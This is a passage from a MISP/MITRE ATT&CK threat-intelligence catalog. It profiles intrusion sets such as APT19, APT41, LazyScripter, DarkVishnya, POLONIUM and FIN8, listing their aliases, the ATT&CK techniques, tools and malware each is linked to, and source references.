- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"

Table 6444. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0021">https://attack.mitre.org/groups/G0021</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/">https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/</a></td>
</tr>
</tbody>
</table>
admin@338 - G0018

[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-intrusion-set=“admin@338 - G0018”*

admin@338 - G0018 is also known as:

- admin@338

View relationships graph

admin@338 - G0018 has relationships with:

- uses: misp-galaxy:mitre-tool="Net  - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BUBBLEWRAP - S0043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig  - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LOWBALL - S0042" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat  - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="TEMPER PANDA" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 6445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0018">https://attack.mitre.org/groups/G0018</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html">https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html</a></td>
</tr>
</tbody>
</table>

**APT19 - G0073**

[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)

The tag is: `misp-galaxy:mitre-intrusion-set="APT19 - G0073"`

APT19 - G0073 is also known as:

- APT19
- Codoso
- C0d0so0
- Codoso Team
- Sunshop Group

**View relationships graph**

APT19 - G0073 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"


**Table 6446. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0073">https://attack.mitre.org/groups/G0073</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/">https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/current-threats/apt-groups.html#apt19">https://www.fireeye.com/current-threats/apt-groups.html#apt19</a></td>
</tr>
</tbody>
</table>

**Mofang - G0103**

[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim’s infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-intrusion-set="Mofang - G0103"

Mofang - G0103 is also known as:

- Mofang

**View relationships graph**

Mofang - G0103 has relationships with:


APT41 - G0096

[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="APT41 - G0096"`

APT41 - G0096 is also known as:

- APT41
- Wicked Panda

View relationships graph

APT41 - G0096 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Net - S0039"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="dsquery - S0105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="KEYPLUG - S1051" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Winnti for Linux - S0430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-malware="MESSAGETAP - S0443" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ROCKBOOT - S0112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
LazyScripter - G0140

LazyScripter - G0140 is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: "misp-galaxy:mitre-intrusion-set="LazyScripter - G0140"

LazyScripter - G0140 is also known as:

- LazyScripter

LazyScripter - G0140 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ngrok - S0508" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Remcos - S0332" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="KOCTOPUS - S0669" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 6449. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0140">https://attack.mitre.org/groups/G0140</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf">https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf</a></td>
</tr>
</tbody>
</table>
Sharpshooter - G0104

Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Sharpshooter - G0104"`

Sharpshooter - G0104 is also known as:

- Sharpshooter

Table 6450. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0104">https://attack.mitre.org/groups/G0104</a></td>
</tr>
</tbody>
</table>

Strider - G0041

[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)

The tag is: `misp-galaxy:mitre-intrusion-set="Strider - G0041"`

Strider - G0041 is also known as:

- Strider
- ProjectSauron

View relationships graph

Strider - G0041 has relationships with:

- similar: `misp-galaxy:360net-threat-actor="索伦之眼 - APT-C-16"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-malware="Remsec - S0125"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="ProjectSauron"` with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 6451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets">http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0041">https://attack.mitre.org/groups/G0041</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/faq-the-projectsauron-apt/75533/">https://securelist.com/faq-the-projectsauron-apt/75533/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf">https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf</a></td>
</tr>
</tbody>
</table>

**DarkVishnya - G0105**

[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="DarkVishnya - G0105"*

DarkVishnya - G0105 is also known as:

• DarkVishnya

View relationships graph

DarkVishnya - G0105 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0105">https://attack.mitre.org/groups/G0105</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/darkvishnya/89169/">https://securelist.com/darkvishnya/89169/</a></td>
</tr>
</tbody>
</table>

**POLONIUM - G1005**

[POLONIUM](https://attack.mitre.org/groups/G1005) is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess [POLONIUM](https://attack.mitre.org/groups/G1005) has coordinated their operations with multiple actors affiliated with Iran's Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.(Citation: Microsoft POLONIUM June 2022)

The tag is: misp-galaxy:mitre-intrusion-set="POLONIUM - G1005"

POLONIUM - G1005 is also known as:

• POLONIUM

View relationships graph

POLONIUM - G1005 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CreepyDrive - S1023" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

**Table 6453. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1005">https://attack.mitre.org/groups/G1005</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/">https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/</a></td>
</tr>
</tbody>
</table>

**Taidoor - G0015**

[Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.

The tag is: misp-galaxy:mitre-intrusion-set="Taidoor - G0015"

Taidoor - G0015 is also known as:

- Taidoor

**Table 6454. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0015">https://attack.mitre.org/groups/G0015</a></td>
</tr>
</tbody>
</table>

**FIN8 - G0061**

[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group that has been active since at least January 2016, and known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemical, and financial sectors. In June 2021, security researchers detected [FIN8](https://attack.mitre.org/groups/G0061) switching from targeting point-of-sale (POS) devices to distributing a number of ransomware variants.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)

The tag is: misp-galaxy:mitre-intrusion-set="FIN8 - G0061"

FIN8 - G0061 is also known as:

- FIN8
- Syssphinx

View relationships graph

FIN8 - G0061 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Sardonic - S1085" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BADHATCH - S1081" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="dsquery - S0105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

